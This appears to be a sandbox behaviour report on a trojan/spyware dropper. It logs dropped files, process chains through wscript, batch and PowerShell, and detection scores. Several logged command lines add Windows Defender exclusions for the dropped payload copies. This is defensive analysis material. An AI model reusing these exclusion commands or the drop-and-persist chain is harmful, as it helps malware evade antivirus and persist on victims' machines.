Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.000000000314D000.00000004.00000800.00020000.00000000.sdmp, uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp, uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/

Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Window created: window name: CLIPBRDWNDCLASS

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe

Code function: 0_2_00906FAA: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_00906FAA

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Windows\ShellExperiences\de5836ef699499	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_0090848E	0_2_0090848E
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_00914088	0_2_00914088
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_009100B7	0_2_009100B7
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_009040FE	0_2_009040FE
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_009251C9	0_2_009251C9
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_00917153	0_2_00917153
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_009162CA	0_2_009162CA
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_009032F7	0_2_009032F7
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_009143BF	0_2_009143BF
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_0090C426	0_2_0090C426
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_0092D440	0_2_0092D440
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_0090F461	0_2_0090F461
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_009177EF	0_2_009177EF
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_0092D8EE	0_2_0092D8EE
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_0090286B	0_2_0090286B
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_0090E9B7	0_2_0090E9B7
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_009319F4	0_2_009319F4
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_00916CDC	0_2_00916CDC
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_00913E0B	0_2_00913E0B
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_00924F9A	0_2_00924F9A
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_0090EFE2	0_2_0090EFE2
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Code function: 5_2_00007FFD9B9E0D70	5_2_00007FFD9B9E0D70
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Code function: 5_2_00007FFD9BBA6C35	5_2_00007FFD9BBA6C35
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Code function: 5_2_00007FFD9BBA69FB	5_2_00007FFD9BBA69FB
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Code function: 5_2_00007FFD9BBA6977	5_2_00007FFD9BBA6977
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Code function: 5_2_00007FFD9BB9079A	5_2_00007FFD9BB9079A
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Code function: 5_2_00007FFD9BBA4F8F	5_2_00007FFD9BBA4F8F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FFD9BAD30E9	21_2_00007FFD9BAD30E9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD9BAD2E1C	22_2_00007FFD9BAD2E1C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_00007FFD9BAF30E9	26_2_00007FFD9BAF30E9
Source: C:\Recovery\uAsLgsGzSk.exe	Code function: 35_2_00007FFD9BA10D70	35_2_00007FFD9BA10D70
Source: C:\Recovery\uAsLgsGzSk.exe	Code function: 35_2_00007FFD9BA59A40	35_2_00007FFD9BA59A40
Source: C:\Recovery\uAsLgsGzSk.exe	Code function: 35_2_00007FFD9BA2BA1D	35_2_00007FFD9BA2BA1D
Source: C:\Recovery\uAsLgsGzSk.exe	Code function: 37_2_00007FFD9B9F0D70	37_2_00007FFD9B9F0D70

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\CvvLBlqK.log 2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: String function: 0091EB78 appears 39 times
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: String function: 0091EC50 appears 56 times
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: String function: 0091F5F0 appears 31 times

Source: NVLRgsWM.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: vJjMMWBx.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: maPwcuvP.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: HupKRiKa.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: cIDyHnkk.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: JwbtnRPV.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: zIxCDFUn.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: zHJVyCcw.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: hnxxzxgb.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: CvvLBlqK.log.42.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: FyhuXVvF.log.42.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: vPOensqX.log.42.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: mlFoDzaq.log.42.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: eIxzTFKJ.log.42.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: LqKTzAAu.log.42.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: qTMMgMAe.log.42.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: QdcRcxPi.log.42.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: GvICsVKA.log.42.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: hz7DzW2Yop.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@37/346@0/2

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe

Code function: 0_2_00906C74 GetLastError,FormatMessageW,

0_2_00906C74

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe

Code function: 0_2_0091A6C2 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_0091A6C2

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe

File created: C:\Program Files (x86)\windows defender\en-GB\uAsLgsGzSk.exe

Jump to behavior

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe

File created: C:\Users\user\Desktop\zHJVyCcw.log

Jump to behavior

Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Mutant created: NULL
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\bd9da7f16f55026e79d340b5ea02a5a7f7e28b00743a65fca34947ef8d4bc1c2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7528:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7304:120:WilError_03

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe

File created: C:\Users\user\AppData\Local\Temp\l7eRP4ZeWh

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\HyperWebbroker\lGnbJpj21JH90uguTRu2sUXatfulFm1f34jhZ8QO993nz73C1NZz.bat" "

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Command line argument: sfxname	0_2_0091DF1E
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Command line argument: sfxstime	0_2_0091DF1E
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Command line argument: STARTDLG	0_2_0091DF1E

Source: hz7DzW2Yop.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: hz7DzW2Yop.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: hz7DzW2Yop.exe	ReversingLabs: Detection: 68%
Source: hz7DzW2Yop.exe	Virustotal: Detection: 59%

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe

File read: C:\Users\user\Desktop\hz7DzW2Yop.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\hz7DzW2Yop.exe "C:\Users\user\Desktop\hz7DzW2Yop.exe"
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\HyperWebbroker\kC1qNwulObrDTKeFv7nRu.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\HyperWebbroker\lGnbJpj21JH90uguTRu2sUXatfulFm1f34jhZ8QO993nz73C1NZz.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\HyperWebbroker\serverBrokerperfMonitor.exe "C:\HyperWebbroker/serverBrokerperfMonitor.exe"
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\en-GB\uAsLgsGzSk.exe'
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\uAsLgsGzSk.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ShellExperiences\uAsLgsGzSk.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\SystemSettings.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\uAsLgsGzSk.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2K3wfCcSpW.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Recovery\uAsLgsGzSk.exe C:\Recovery\uAsLgsGzSk.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: unknown	Process created: C:\Recovery\uAsLgsGzSk.exe C:\Recovery\uAsLgsGzSk.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\ShellExperiences\uAsLgsGzSk.exe "C:\Windows\ShellExperiences\uAsLgsGzSk.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\HyperWebbroker\kC1qNwulObrDTKeFv7nRu.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\HyperWebbroker\lGnbJpj21JH90uguTRu2sUXatfulFm1f34jhZ8QO993nz73C1NZz.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\HyperWebbroker\serverBrokerperfMonitor.exe "C:\HyperWebbroker/serverBrokerperfMonitor.exe"	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\en-GB\uAsLgsGzSk.exe'	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\uAsLgsGzSk.exe'	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ShellExperiences\uAsLgsGzSk.exe'	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\SystemSettings.exe'	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\uAsLgsGzSk.exe'	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2K3wfCcSpW.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\ShellExperiences\uAsLgsGzSk.exe "C:\Windows\ShellExperiences\uAsLgsGzSk.exe"

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
